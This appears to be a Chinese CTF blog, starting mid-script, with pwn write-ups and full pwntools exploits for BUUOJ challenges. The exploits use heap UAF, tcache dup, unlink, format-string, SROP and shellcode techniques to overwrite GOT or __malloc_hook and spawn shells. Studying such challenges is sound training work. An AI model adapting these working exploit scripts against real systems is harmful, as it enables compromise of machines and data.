    choose(3)
    p.sendafter(b'\n>', str(index).encode())
    p.recvuntil(b'number :')
# 泄露 libc 地址
mal(2)
free(2)
for i in range(0x16):
    mal(1, i)
mal(1)
free(1)
# dup 第一步
mal(2)
free(1)
dump(1)
c33u = int(p.recvuntil(b'\n'))
c0r = c33u - 0x10 - 0x440
# dup 第二步
mal(1, c0r)
mal(1)
mal(1, 0x441)
# 此时第一个 chunk 为 0x440 大小的 chunk
free(2)
#泄露 mainarena+96 后计算
dump(2)
lma_ = int(p.recvuntil(b'\n'))
print('ma_:'+hex(lma_))
mh_a = lma_ - 0x70
obj = LibcSearcher('__malloc_hook',mh_a)
libcbase = mh_a - obj.dump('__malloc_hook')
io_file = libcbase + obj.dump('_IO_2_1_stdin_')
flagno = io_file + 112
print('mh_a:'+hex(mh_a))
print('stdin:'+hex(io_file))
print('c0r:'+hex(c0r))
c3u = c0r + 0x30 + 0x20 + 0x10
fake_fd = c0r + 0x18
# 修改 mainarena 后两位
mal(2, flagno) # for after dup
# dup
mal(2)
free(2)
mal(1)
free(2)
mal(2, fake_fd)
mal(2)
mal(2)
mal(2, 666)
choose(4)
p.interactive()

image-20231121004242056

# *PicoCTF_2018_buffer_overflow_0

** 考点:** 调用程序传参,ssh, stack overflow

这题考的是给程序传参。在 pwntools 中,使用 process(argv=['./pwn', payload]) 可以将参数传入。

题目将 flag 读入了.bss 段,因此只要构造输出的 rop 链即可。

因为用到程序传参,所以这题需要远程 ssh 登陆靶机后操作。登陆后将 exp 代码复制过去然后执行。

ssh CTFMan@node4.buuoj.cn -p 27087	# 登陆密码 guest
from pwn import *
context(arch='i386', log_level='debug')
e=ELF('./vuln')
buf = 0x804a060
puts_p = e.plt['puts']
main_a = e.sym['main']
offset = 0x018+4
payload = b'a'*offset + flat([puts_p, main_a, buf])
p=process(argv = ['./vuln', payload])
p.interactive()

image-20231121081834555

# *lctf2016_pwn200

** 考点:**off_by_one, shellcode, got

**libc 版本:**libc6_2.23

# 分析

没有任何保护。栈可执行。

image-20231121084234332

有两个输入漏洞。

  • 第一个是输入名字时,若输入的循环因输入数满 48,则会直接退出,不会添加 '\0' 结束字符。由于之后输出姓名用的是 printf 函数,由此可以将紧邻的 rbp 地址泄露出来。我是不会说我一开始没注意到这个漏洞所以在那修改 got 表凑半天没凑出来的。

image-20231121165925670

  • 第二个是输入系统分配的第一个 chunk 时,我们可以多输入 8 字节的数据,刚好覆盖到 dest 变量。该变量储存着我们即将写入的地址,所以可以实现任意地址写入。但是由于是使用 strcpy 将读入的数据复制到地址处,所以要注意输入数据内的 '\0'

# 思路

第一步,由于栈可执行,所以输入名字时直接输入 shellcode,然后利用泄露出来的栈地址计算出 shellcode 所在位置。

~~ 由于 shellcode 长度有限,所以这边自己写。~~ 写 wp 的时候才发现生成的 shellcode 刚好为 48 字节,可以直接利用。如果跟我一样手写的时候,记得必须避开所有 '\0'

image-20231121170703448

经计算,泄露的地址减去 0x50 即为 shellcode 所在地址。

image-20231121170956753

第二步,将 got 表中 free 的地址修改为 shellcode 所在地址。然后再选择释放块,便可以执行 shellcode 了。想了想,修改 puts 之类的应该夜行?

以下是手打的 shellcode:

#!/usr/bin/python3
from pwn import *
context(arch='amd64', log_level='debug')
filename = 'pwn200'
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0
p = process('./'+filename+'_pe') if mode else remote('node4.buuoj.cn',26425)
e = ELF('./'+filename+'_pe') if mode else ELF('./'+filename)
if mode==2:
    gdb.attach(p, 'b puts')    
def suspend():
    if mode == 2:
        pause()
    else:
        sleep(0.1)
sc = '''
xor rsi, rsi
push rsi
mov rdx, 0x68732f2f6e69622f
push rdx
xor rax, rax
mov al, 0x3b
mov rdi, rsp
xor rdx, rdx
syscall
'''
payload = asm(sc)
assert len(payload) <= 48
assert not b'\0' in payload
payload = payload.ljust(48, b'a')
p.sendafter(b'u?\n', payload)
p.recvuntil(payload)
s1 = u64(p.recvuntil(b',')[:-1].ljust(8,b'\0'))
p.sendafter(b'~~?\n', b'1\n')
s2 = s1 - 0x50
free_g = e.got['free']
payload = p64(s2)
payload = payload.ljust(0x38, b'a') + p64(free_g)
p.sendafter(b'money~\n', payload)
p.sendlineafter(b'choice : ', b'2')
p.interactive()

以下是生成的 shellcode:

#!/usr/bin/python3
from pwn import *
context(arch='amd64', log_level='debug')
filename = 'pwn200'
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0
p = process('./'+filename+'_pe') if mode else remote('node4.buuoj.cn',26425)
e = ELF('./'+filename+'_pe') if mode else ELF('./'+filename)
if mode==2:
    gdb.attach(p, 'b puts')    
def suspend():
    if mode == 2:
        pause()
    else:
        sleep(0.1)
payload = asm(shellcraft.sh())
assert len(payload) <= 48
assert not b'\0' in payload
payload = payload.ljust(48, b'a')
p.sendafter(b'u?\n', payload)
p.recvuntil(payload)
s1 = u64(p.recvuntil(b',')[:-1].ljust(8,b'\0'))
p.sendafter(b'~~?\n', b'1\n')
s2 = s1 - 0x50
free_g = e.got['free']
payload = p64(s2)
payload = payload.ljust(0x38, b'a') + p64(free_g)
p.sendafter(b'money~\n', payload)
p.sendlineafter(b'choice : ', b'2')
p.interactive()

image-20231121171651525

# *gyctf_2020_signin

经典堆题。

释放函数只会释放 flag 为 1 的,同时释放后 flag 置 0,但不清空地址。编辑函数不检验 flag,因此可以构造 tcache dup,实现任意地址读写。

编辑函数有使用次数限制,cnt 的默认值为 0,因此编辑函数只能使用一次。

image-20231121192939127

重点! calloc 函数不会从 tcache 中获取 chunk,而会从 fastbin 中直接获取。执行后若 tcache bin 中 chunk 个数未满 7,则会将 fastbin 中的 chunk 直接添加到 tcache bin 链开头不会验证 chunk 合法性

# 思路

先将 tcache bin 填满,然后释放一个 chunk 到 fastbin 中,修改其内容为 ptr-0x10 。之后分配掉几个 tcache bin 的块。

此时进入后门函数调用 calloc (),那么会分配到 fastbin 中的 chunk,然后将 ptr-0x10 处的 chunk 添加到 tcache bin 头部,将其 fd 修改为旧的 tcache bin 头部。因此 ptr-0x10+0x10 的值便不为 0,可以通过后门函数的验证。

#!/usr/bin/python3
from pwn import *
from LibcSearcher import LibcSearcher
context(arch='amd64', log_level='debug')
filename = 'gyctf_2020_signin'
libcfile = '/home/walt/share/pwn/libc/libc6_2.23-0ubuntu10_amd64/libc/lib/x86_64-linux-gnu/libc-2.23.so'
libc = ELF(libcfile)
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0
p = process('./'+filename+'_pe') if mode else remote('node4.buuoj.cn',29224)
e = ELF('./'+filename+'_pe') if mode else ELF('./'+filename)
if mode==2:
    gdb.attach(p, 'b *0x4015CD')
    
def suspend():
    if mode == 2:
        pause()
    else:
        sleep(0.1)
def choose(x):
    p.sendlineafter(b'choice?', str(x).encode())
    
def mal(index):
    choose(1)
    p.sendlineafter(b'idx?\n', str(index).encode())
def free(index):
    choose(3)
    p.sendlineafter(b'idx?\n', str(index).encode())
def edit(index, content):
    choose(2)
    p.sendafter(b'idx?\n', str(index).encode().ljust(0xf,b'\0'))
    p.send(content)
ptr = 0x4040C0 
for i in range(8):
    mal(i)
for i in range(8):
    free(i)
edit(7, p64(ptr-0x10))
mal(8)
mal(9)
choose(6)
p.interactive()

# bjdctf_2020_YDSneedGrirlfriend

** 考点:**uaf, heap

保护:没有 pie 和 got 保护。

image-20231121201533808

经典 note 块管理 content 块的题。将 note 块的前 8 字节修改为后门函数即可。

#!/usr/bin/python3
from pwn import *
context(arch='amd64', log_level='debug')
filename = 'bjdctf_2020_YDSneedGrirlfriend'
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0
p = process('./'+filename) if mode else remote('node4.buuoj.cn',28657)
if mode==2:
    gdb.attach(p, 'b ')
    
def choose(x):
    p.sendlineafter(b'choice :', str(x).encode())
    
def mal(size, content):
    choose(1)
    p.sendlineafter(b'size is :', str(size).encode())
    p.sendafter(b'name is :', content)
def free(index):
    choose(2)
    p.sendlineafter(b'Index :', str(index).encode())
def dump(index):
    choose(3)
    p.sendlineafter(b'Index :', str(index).encode())
target = 0x0400B9C
mal(0x10, b'666')
mal(0x40, b'555')
free(0)
free(1)
mal(0x10, p64(target))
dump(0)
p.interactive()

# suctf_2018_stack

** 考点:**ret2libc, 基础

很基础的题,记得选后门地址时跳过一个 push rbp 以对齐栈帧。

#!/usr/bin/python3
from pwn import *
context(log_level='debug')
#p=process('./SUCTF_2018_stack')
p=remote('node4.buuoj.cn',27735)
target = 0x40067a
offset = 0x020 + 8
payload = offset*b'a' + p64(target)
p.send(payload)
p.interactive()

# PicoCTF_2018_are_you_root

** 考点:**uaf, strdup

重点! strdup 会新建一个堆块以复制字符串。

该题会分配一个 0x10 大小的 note chunk 用于管理用户名和权限。用户名是将输入的字符串用 strdup() 复制后将地址写入 note chunk 中。重置账户功能会释放 strdup 分配的 chunk。

因此我们第一次输入的用户名为 0x10 大小,并且在其 + 8 的位置输入 p64(5)

这样重置用户然后再次登录,这时管理用户的 note chunk 就会分配为刚刚 strdup 分配的块。由于写入的 5 数据没有被抹除,所以此时账号为权限 5,可以直接读取 flag。

#!/usr/bin/python3
from pwn import *
context(arch='amd64', log_level='debug')

filename = 'PicoCTF_2018_are_you_root'
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0
p = process('./'+filename+'_pe') if mode else remote('node4.buuoj.cn',25967)
e = ELF('./'+filename+'_pe') if mode else ELF('./'+filename)

if mode==2:
    gdb.attach(p, 'b ')

cmdlist = ['','show','login','set_auth', 'get-flag','reset','quit']
def cmd(index, content=b''):
    payload = cmdlist[index].encode() + b' ' + content
    p.sendlineafter(b'command:', payload)

cmd(2, b'a'*8+p64(5))
cmd(5)
cmd(2, b'getshell!')
cmd(4)

p.interactive()

# xman_2019_format

** 考点:**fmtstr, 爆破

** 版本:**32 位

存在后门函数。

利用 ebp 作跳板,修改 0xffe16cf8 处的数据为 rip 的地址,然后再修改 rip 为后门函数地址。这样可以只修改一个或两个字节。但是栈上地址是随机的,只能确定地址最后一位为 0xc,倒数第二位爆破即可。

image-20231121213657165

ebp 对应的参数位置。 index=(0xffe16cd8-0xffe16cb0)//4 =0xa=10

6cf8 对应参数位置。 index=(0xffe16cf8-0xffe16cb0)//4 =0x12=18

#!/usr/bin/python3
from pwn import *
context(log_level='debug')
target = 0x80485b4
def fmtstrhh(index, value):
    payload = '%{}c%{}$hhn'.format(value&0xff, index)
    return payload.encode()
def fmtstrh(index, value):
    payload = '%{}c%{}$hn'.format(value&0xffff, index)
    return payload.encode()
offset = 0x0
for i in range(0xc, 0x10c, 0x10):
    try:
        #p=process('./xman_2019_format_pe')
        p=remote('node4.buuoj.cn',25040)
        #gdb.attach(p, 'b printf')
        print('i:'+hex(i))
        p1 = fmtstrhh(10, i)
        p2 = fmtstrh(18, target)
        payload =  b'|'.join([p1,p2])
        p.send(payload)
        p.interactive()
    except:
        p.close()

可以尝试修改 got 表,但是由于同时修改四字节,输出过多,因此只有本地打得通。

#!/usr/bin/python3
from pwn import *
#context(log_level='debug')
e=ELF('./xman_2019_format')
p=process('./xman_2019_format_pe')
#p=remote('node4.buuoj.cn',27985)
#gdb.attach(p, 'b printf')
printf_g = e.got['printf']
sys_p = e.plt['system']
target = 0x80485AB
def fmtstr(index, value):
    payload = '%{}c%{}$n'.format(value, index)
    return payload.encode()
     
p1 = fmtstr(10, printf_g)
p2 = fmtstr(18, target)
p3 = b'getshell'
payload =  b'|'.join([p1,p2,p3])
p.send(payload)
p.interactive()

# *ciscn_2019_sw_1

考点: fmtstr, fini_array

** 版本:**libc6_2.27 amd64

只开启了 nx 保护,所以可以知道任何程序本身的地址。

从第 4 个参数开始为字符串所在位置。

image-20231127013447501

该程序只有一次执行格式化漏洞的机会,而栈上已有地址也没有啥能利用的。

该版本下,主函数执行完, __libc_start_main 函数会执行一次 fini_array。所以虽然不知道栈上地址以至于不能修改 rip 地址,但可以利用 fini_array 跳转到任意地址。

原先想跳转到后门函数 _sys 的,但其利用的参数 command 为常量不可读写,所以最后采用在修改 fini_array 的同时修改 printf 的 got 表为 system 的 plt 地址,在 fini_array 跳转到 main 函数时便获得了第二次利用 printf 的机会。此时输入 /bin/sh 便可以 getshell。

#!/usr/bin/python3
from pwn import *
context(log_level='debug')
e=ELF('./ciscn_2019_sw_1')
p=process('./ciscn_2019_sw_1_pe')
#p=remote('node4.buuoj.cn',29536)
#gdb.attach(p, 'b printf')
backdoor = 0x0804851B
cmd = 0x08048640
fini = 0x0804979C
printf_g = e.got['printf']
sys_p = e.plt['system']
main_a = e.sym['main']
print(hex(main_a))
payload = fmtstr_payload(4,{printf_g:sys_p, fini:p16(main_a&0xffff)},write_size='short')
p.sendlineafter(b'name?\n', payload)
p.sendlineafter(b'name?\n', b'/bin/sh')
p.interactive()

这里覆盖 fini_array 的地址覆盖低二位字节就好。

image-20231127150741779

# hitcon_2018_children_tcache

** 考点:**tcache dup, overlap extend, null byte off by one

** 版本:**libc6_2.27

保护全开。free 后清空地址。

程序用 strcpy 将字符串复制到块上,存在 null byte off by one 漏洞。在两个大 chunk 中夹一个小 chunk,利用小 chunk 修改大 chunk 的 inuse 标志,使得释放后能构成块重叠。

由于用的是 strcpy 复制的字符串,因此遇到 '\0' 便会停止,同时每次 free 时都会根据 malloc 时用户输入的 size 将 chunk 用 '\xba' 填充,因此需要逐步设置最后属于 prevsize 的 8 个字节。

构造块重叠后,先后将头尾两个大 chunk 释放,此时会合并两个 chunk 为一个,而小 chunk 位于中间。这时候分配与原先第二个 chunk 大小相同的 chunk,这时候 unsorted chunk 的开头便与小 chunk 开头重叠,这时候输出小 chunk,便可以泄露 mainarena 地址。

随后修改 malloc_hook 为 one_gadget 地址便可。

one_gadget 选第二个或第三个均可。

image-20231127202549017 image-20231127202604983
#!/usr/bin/python3
from pwn import *
from LibcSearcher import LibcSearcher
context(arch='amd64', log_level='debug')
filename = 'HITCON_2018_children_tcache'
libcfile = '/home/walt/ctftools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so'
libc = ELF(libcfile)
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0
p = process('./'+filename+'_pe') if mode else remote('node4.buuoj.cn',25532)
e = ELF('./'+filename+'_pe') if mode else ELF('./'+filename)
if mode==2:
    gdb.attach(p, 'b *$rebase(0x00FDF)')
    
def suspend():
    if mode == 2:
        pause()
    else:
        sleep(0.1)
def choose(x):
    p.sendlineafter(b'choice: ', str(x).encode())
    
def mal(size, content=b'aaaa'):
    choose(1)
    p.sendlineafter(b'Size:', str(size).encode())
    p.sendafter(b'Data:', content)
def free(index):
    choose(3)
    p.sendlineafter(b'Index:', str(index).encode())
def dump(index):
    choose(2)
    p.sendlineafter(b'Index:', str(index).encode())
mal(0x18)
mal(0x418)
mal(0x18)   #2
mal(0x4f8)
mal(0x18)
free(1)
free(2)
for i in range(0x18, 0x10, -1):
    mal(i, b'a'*i)
    free(1)
mal(0x12, b'a'*0x10 + p16(0x440))
free(3)
mal(0x418) #2 (1)
dump(1)
ma_ = u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\0'))
mh_a = ma_-96 -0x10
print('mallochook:'+hex(mh_a))
obj = LibcSearcher('__malloc_hook', mh_a)
obj.dump('system')
libcbase = mh_a - libc.sym['__malloc_hook']
print('base:'+hex(libcbase))
oglist = [0x4f2c5, 0x4f322, 0x10a38c]
onegadget = oglist[1] + libcbase
mal(0x18, b'\0')    #3
free(1)
free(3)
mal(0x18, p64(mh_a))
mal(0x18)
mal(0x18, p64(onegadget))
choose(1)
p.sendlineafter(b'Size:',b'0')
suspend()
p.interactive()

# hgame2018_flag_server

ctypes 导入,直接同步算得随机值。

# [BSidesCF 2019]Runit

基础 shellcode

# gyctf_2020_some_thing_interesting

** 考点:**fastbin attack, malloc_hook, fmtstr

开局有一次利用格式化字符串漏洞的机会,不过必须保证输入的前几位为指定字符串,否则会直接退出。因此只有 5 个字符可供利用,刚好泄露一个 libc 地址。

然后利用 0x7f 在 malloc_hook 附近分配 chunk,修改其为 one_gadget。

#!/usr/bin/python3
from pwn import *
from LibcSearcher3 import LibcSearcher
context(arch='amd64', log_level='debug')
filename = 'gyctf_2020_some_thing_interesting'
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0
p = process('./'+filename+'_pe') if mode else remote('node4.buuoj.cn',29877)
e = ELF('./'+filename+'_pe') if mode else ELF('./'+filename)
if mode==2:
    gdb.attach(p, 'b *$rebase(0x15BA)')
    
def suspend():
    if mode == 2:
        pause()
    else:
        sleep(0.1)
def choose(x):
    p.sendlineafter(b'do :', str(x).encode())
    
def mal(size1, size2, content1=b'aaaa',  content2=b'bbbb'):
    choose(1)
    p.sendlineafter(b'length : ', str(size1).encode())
    p.sendafter(b'O : ', content1)
    p.sendlineafter(b'length : ', str(size2).encode())
    p.sendafter(b'RE : ', content2)
def free(index):
    choose(3)
    p.sendlineafter(b'ID : ', str(index).encode())
def edit(index, content1, content2):
    choose(2)
    p.sendlineafter(b'ID : ', str(index).encode())
    p.sendafter(b'O : ', content1)
    p.sendafter(b'RE : ', content2)
def dump(index):
    choose(4)
    p.sendlineafter(b'ID : ', str(index).encode())
checkstr = b'OreOOrereOOreO'
p.sendafter(b'please:', checkstr+b'%17$p')
choose(0)
p.recvuntil(checkstr)
lsm_a = int(p.recvuntil(b'\n'),16) - 240
obj = LibcSearcher('__libc_start_main',lsm_a)
libcbase = lsm_a - obj.dump('__libc_start_main')
mh_a = libcbase + obj.dump('__malloc_hook')
oglist = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
onegadget = oglist[3] + libcbase
mal(0x68, 0x38)
free(1)
edit(1, p64(mh_a-0x23), p64(0))
mal(0x68, 0x68, b'hahahaha', b'\0'*0x13+p64(onegadget))
choose(1)
p.sendlineafter(b'length : ', b'1')
p.interactive()

# zctf_2016_note3

** 考点:** 条件判断漏洞,unlink

** 版本:**libc6_2.23 amd64

保护只开了 nx 和 canary,程序的地址可利用。

输入函数存在漏洞,当传入的大小为 0 时,size-1 会被判为无限大,从而可以实现任意长度输入。

利用该漏洞覆盖 size 的 inuse 部分,构造 unlink。

由于 malloc(0) 默认分配 0x20 的 chunk,而 unlink 所需的两个 chunk 至少要容纳 6 个字长,因此将 0x20 的 chunk 放在大 chunk 之间或者前面均可。

#!/usr/bin/python3
from pwn import *
from LibcSearcher import LibcSearcher
context(arch='amd64', log_level='debug')
filename = 'zctf_2016_note3'
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0
p = process('./'+filename+'_pe') if mode else remote('node4.buuoj.cn',29786)
e = ELF('./'+filename+'_pe') if mode else ELF('./'+filename)
if mode==2:
    gdb.attach(p, 'b *0x0400D47')
    
def suspend():
    if mode == 2:
        pause()
    else:
        sleep(0.1)
def choose(x):
    p.sendlineafter(b'>>\n', str(x).encode())
    
def mal(size, content=b'aaaa'):
    choose(1)
    p.sendlineafter(b'1024)\n', str(size).encode())
    p.sendlineafter(b'content:\n', content)
def free(index):
    choose(4)
    p.sendlineafter(b'note:\n', str(index).encode())
def edit(index, content):
    choose(3)
    p.sendlineafter(b'note:\n', str(index).encode())
    p.sendlineafter(b'content:\n', content)
ptr = 0x6020C8
c3r = ptr+3*8
free_g = e.got['free']
puts_p = e.plt['puts']
lsm_g = e.got['__libc_start_main']
mal(0x18)
mal(0x18, b'/bin/sh\0')
mal(0x18)
payload = flat([0, 0x91, c3r-0x18, c3r-0x10])
mal(0x78, payload) #3
mal(0)
mal(0x98)
mal(0x18)
payload = b'a'*0x10 + p64(0x90) + p32(0xa0)
edit(4, payload) #4
free(5)
def change(target, value):
    edit(3, p64(target)[:-1])
    edit(0, p64(value)[:-1])
# 3-> 0
change(free_g, puts_p)
edit(3, p64(lsm_g)[:-1])
free(0)
lsm_a = u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\0'))
obj = LibcSearcher('__libc_start_main', lsm_a)
libcbase = lsm_a - obj.dump('__libc_start_main')
sys_a = libcbase + obj.dump('system')
change(free_g, sys_a)
free(1)
p.interactive()

# pwnable_asm

** 考点:**shellcode, orw

保护:

image-20231128193217282

存在沙盒保护,只能使用 orw 三个系统调用。

image-20231128193307592

输入没有限制,所以直接 orw。

这边执行 shellcode 前会清空除了 rsp 以外的寄存器,所以这边将读入的 flag 放在 rsp-0x100 的地方。

#!/usr/bin/python3
from pwn import *
context(arch='amd64', log_level='debug')
#p=process('./asm')
p=remote('node4.buuoj.cn',28437)
#gdb.attach(p, 'b read')
assem = '''
mov rdx, {}
push 0
push rdx
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x2
syscall
mov rdi, 3
mov rsi, rsp
add rsi, 0x100
mov rdx, 0x30
xor rax, rax
syscall
mov rdi, 1
mov rax, 1
syscall
'''.format(u32(b'flag'))
p.sendafter(b'shellcode: ',asm(assem))
p.interactive()

# rootersctf_2019_srop

** 考点:**srop

程序非常简单。可输入的字符串长度很大。

题目没有直接调用 0xf 系统调用号的代码。但是程序在调用 read 系统调用时用的 push 0; pop rax ,我们可以利用这个 pop rax 以及构造 rop chain 实现 0xf 系统调用。

image-20231128202901628

vmmap 查看可读写地址段,将栈迁移至 0x402900 处即可。

image-20231128203036904

一次 read 的 sigreturn,一次 execve 的 sigreturn。

#!/usr/bin/python3
from pwn import *
context(log_level='debug')
context.arch='amd64'
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0
p = process('./rootersctf_2019_srop') if mode else remote('node4.buuoj.cn',26979)
if mode==2:
    gdb.attach(p, 'b *0x40101f')
def suspend():
    if mode == 2:
        pause()
    else:
        sleep(0.1)
offset = 0x080+8
buf = 0x402900
popsys = 0x401032
syscall = 0x401033
sig = SigreturnFrame()
sig.rax = 0
sig.rdi = 0
sig.rsi = buf
sig.rdx = 0x300
sig.rip = syscall
sig.rsp = buf
sig.rbp = buf
payload = b'a'*offset + p64(popsys) + p64(0xf) + bytes(sig)
p.send(payload)
suspend()
sig = SigreturnFrame()
sig.rax = 0x3b
sig.rdi = buf+0x200
sig.rsi = 0
sig.rdx = 0
sig.rip = syscall
sig.rsp = buf
sig.rbp = buf
payload = p64(buf) + p64(popsys) + p64(0xf) +  bytes(sig)
payload = payload.ljust(0x200, b'a') + b'/bin/sh\0'
p.send(payload)
p.interactive()

# houseoforange_hitcon_2016

image-20231202155115909

0x7f8c6dbc56f8

0x7F8C6DBC5188

0x55DB6664B161

1:0x7fd82bbc5188
2:0x5639f58c6161
0x00005639f58e8000

0x7fd82bbc56f8

# gyctf_2020_document

考点: overlap, heap

** 版本:**libc-2.23_amd64

这题保护全开。

分配函数固定分配两个 chunk,分别为 0x8(0x20)0x80(0x90) 的 chunk。0x8 的 chunk 储存 0x80chunk 的指针。结构大致如以下注释。

image-20231204181819985

而 edit 函数允许编辑一次 0x80chunk ,是否编辑过取决于 0x8chunk 内 + 8 处的值。可以选择修改 + 8 处的值为固定的 0x10 或 0x1,或者 + 16 处任意写入 0x70 字节。

释放函数只释放了 0x80chunk ,并且没有清空地址。0x90 的 chunk 属于 unsortbin 的范围。

# 思路

分配函数后释放,然后利用输出函数泄露 unsortbin chunkmainarena 地址。由此计算出 one_gadget__malloc_hook 的地址。

然后继续分配 2 次。由于先分配的 0x8chunk ,会将刚刚释放的 chunk 分割。而此时再对第一次分配的 chunk 执行编辑函数,就可以修改该 0x8chunk ,从而可以利用编辑函数实现任意地址读写。

老方法,修改 __malloc_hookone_gadget 。这题需要 realloc 进行跳板,并且需要调整进入 realloc 函数的位置。

image-20231204181304248

image-20231204180850418

image-20231204180931543

调用 realloc 前栈顶为 0xb2c8 位置,而 realloc 调用 one_gadgetesp+0x70 正好指向 0xb2c8 ,因此只需要少 push 4 个数,让 esp+0x70 指向 0xb2e8 即可。

#!/usr/bin/python3
from pwn import *
from LibcSearcher import LibcSearcher
context(arch='amd64', log_level='debug')
filename = 'gyctf_2020_document'
libcfile = '/home/walt/share/pwn/libc/libc6_2.23-0ubuntu10_amd64/libc/lib/x86_64-linux-gnu/libc-2.23.so'
libc = ELF(libcfile)
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0
p = process('./'+filename+'_pe') if mode else remote('node4.buuoj.cn',27819)
e = ELF('./'+filename+'_pe') if mode else ELF('./'+filename)
if mode==2:
    gdb.attach(p, 'b *$rebase(0x1207)')
    
def suspend():
    if mode == 2:
        pause()
    else:
        sleep(0.1)
def choose(x):
    p.sendlineafter(b'choice : \n', str(x).encode())
    
def mal(name=b'/bin/sh\0', sex=b'W', content=b'a'*0x70):
    choose(1)
    p.sendafter(b'input name\n', name)
    p.sendafter(b'input sex\n', sex)
    p.sendafter(b'input information\n', content)
def free(index):
    choose(4)
    p.sendlineafter(b'Give me your index : \n', str(index).encode())
def edit(index, content, sex=0):
    choose(3)
    p.sendlineafter(b'Give me your index : \n', str(index).encode())
    p.sendlineafter(b'change sex?\n', b'Y'if sex else b'N')
    p.sendafter(b'information\n', content.ljust(0x70, b'\0'))
def dump(index):
    choose(2)
    p.sendlineafter(b'Give me your index : \n', str(index).encode())
mal()
mal()
free(0)
dump(0)
ma_ = u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\0'))
mh_a = ma_ - 0x68
print('mh_a:'+hex(mh_a))
libcbase = mh_a - libc.sym['__malloc_hook']
realloc_a = libcbase + libc.sym['realloc']
oglist = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
onegadget = libcbase + oglist[3]
mal()
mal()   #3
edit(0, flat([0,0x21, mh_a-0x18, 0x10]))
edit(3, p64(onegadget)+p64(realloc_a+8  ))
choose(1)
p.interactive()

# *ciscn_2019_final_5

** 考点:** 临界条件,overlap, unlink, tcache dup?

** 版本:**libc-2.27_3ubuntu1_amd64

这题算是很有特色的一题。首先保护未全开,pie 未开,relro 未开,可以利用 got 表。

image-20231204203834301

总所周知,堆块的分配会进行对齐,因此其地址低三位将固定为 0。而 chunk 头部的 size 也被系统用来存放包括前块 inuse 等的状态码。对于 64 位系统,chunk 是以 0x10 的大小增长,所以二进制第 4 位也为 0 了。

这道题则是利用这一点,将 chunk 的编号与 chunk 的地址存放在同一个 64 位整数,低 4 位则为编号。因为只有 4 位二进制可供利用,所以其编号范围即为 0~15,每次程序调用块时,会根据用户输入的编号与地址数组中每个元素的低 4 位进行比较,若相同则选中其并操作。

编号仅能为 0~15,程序因此有对输入的编号进行检测,但漏洞也就出在这。分配函数中的检测不严谨,只当 index>0x11 时保错。若输入为 16,那么可以通过检测。而在存放地址时,低 5 位定会被修改为 1。如果原先块的地址第 5 位为 0,在被强制修改为 1 后,之后操作时,则会对用户地址 + 10 的地方进行操作。因此便可以越界操作 0x10 个字节,构成 overlap。

image-20231204204856295

之后就是喜闻乐见的 unlink 实现任意地址读写。但这里并不完全是任意地址,只能对低 4 位为 0 的地址进行读写。例如,要对 free 的 got 表进行改写,那只能修改地址为往前 8 字节处,然后写入时再加上 8 字节偏移。

image-20231204205153497

由于没有输出 chunk 的函数,这里先利用释放函数,将 free 的 got 表指向 put 的 plt,然后泄露 libc 地址,再将 free 的 got 表指向 system 函数,最后释放含 "/bin/sh" 字符串的 chunk。

注意一点,释放 chunk 之后,会清空数组内的地址,此时其低 4 位为 0,因此当输入编号 0 时会选择该空地址进行操作。我们利用 free 函数输出 ptr+0 存放地址对应内容,并将 ptr+0 处清空。由于任意地址读写利用了 ptr+3 处的地址,其对应编号为 0。所以第二次任意地址读写前,需分配一次块,将 ptr+0 处空地址覆盖,以便 ptr+3 正常利用。

#!/usr/bin/python3
from pwn import *
from LibcSearcher import LibcSearcher
context(arch='amd64', log_level='debug')
filename = 'ciscn_final_5'
libcfile = '/home/walt/share/pwn/libc/libc6_2.23-0ubuntu10_amd64/libc/lib/x86_64-linux-gnu/libc-2.23.so'
libc = ELF(libcfile)
mode = int(sys.argv[1]) if len(sys.argv)>1 else 0
p = process('./'+filename+'_pe') if mode else remote('node4.buuoj.cn',27135)
e = ELF('./'+filename+'_pe') if mode else ELF('./'+filename)
if mode==2:
    gdb.attach(p, 'b *0x400E89')
    
def suspend():
    if mode == 2:
        pause()
    else:
        sleep(0.1)
def choose(x):
    p.sendlineafter(b'choice: ', str(x).encode())
    
def mal(index, size, content=b'aaaa'):
    choose(1)
    p.sendlineafter(b'index: ', str(index).encode())
    p.sendlineafter(b'size: ', str(size).encode())
    p.sendafter(b'content: ', content)
def free(index):
    choose(2)
    p.sendlineafter(b'index: ', str(index).encode())
def edit(index, content):
    choose(3)
    p.sendlineafter(b'index: ', str(index).encode())
    p.sendafter(b'content: ', content)
ptr = 0x6020E0
mal(1,0x18)
mal(2, 0x18)
mal(3, 0x18)
mal(16, 0x98)
mal(4, 0x418)
mal(5, 0x18, b'/bin/sh\0')
edit(0, flat({0:[0, 0x81, ptr, ptr+8], 0x80:[0x80, 0x420]}))
free(4)
free_g = e.got['free'] - 8
puts_p = e.plt['puts']
lsm_g = e.got['__libc_start_main']
edit(0, p64(free_g|1))
edit(1, b'\0'*8+p64(puts_p))
edit(0, p64(lsm_g|1))
free(1)
lsm_a = u64(p.recvuntil(b'\n')[:-1].ljust(8, b'\0'))
obj = LibcSearcher('__libc_start_main',lsm_a)
libcbase = lsm_a - obj.dump('__libc_start_main')
sys_a = libcbase + obj.dump('system')
mal(1, 0x18)
edit(0, p64(free_g|1))
edit(1, b'\0'*8+p64(sys_a))
free(5)
p.interactive()
更新于

请我喝[茶]~( ̄▽ ̄)~*

Walt CSZ 微信支付

微信支付

Walt CSZ 支付宝

支付宝